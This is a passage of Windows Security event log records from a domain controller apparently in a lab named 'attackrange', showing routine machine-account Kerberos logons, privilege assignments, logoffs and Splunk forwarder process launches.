logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:42:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255875 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3775D1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:42:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255874 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x37755D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64840 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:42:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255873 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x37755D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:42:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255872 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x377515 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:42:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255871 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x377515 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:42:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255870 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x377407 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64839 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:42:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255869 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x377407 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:42:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255882 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10e0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:42:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255881 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x548 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:42:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255883 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1248 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:42:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255884 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3f4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:42:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255885 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc30 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:42:21 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255886 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3775D1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:42:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255889 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x37A513 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:42:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255888 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x37A513 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64851 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:42:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255887 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x37A513 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:43:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255890 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe64 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:43:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255891 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf88 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:43:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255893 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11bc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:43:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255892 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x468 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:43:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255894 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12bc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:43:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255895 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x119c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:43:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255896 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x60c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 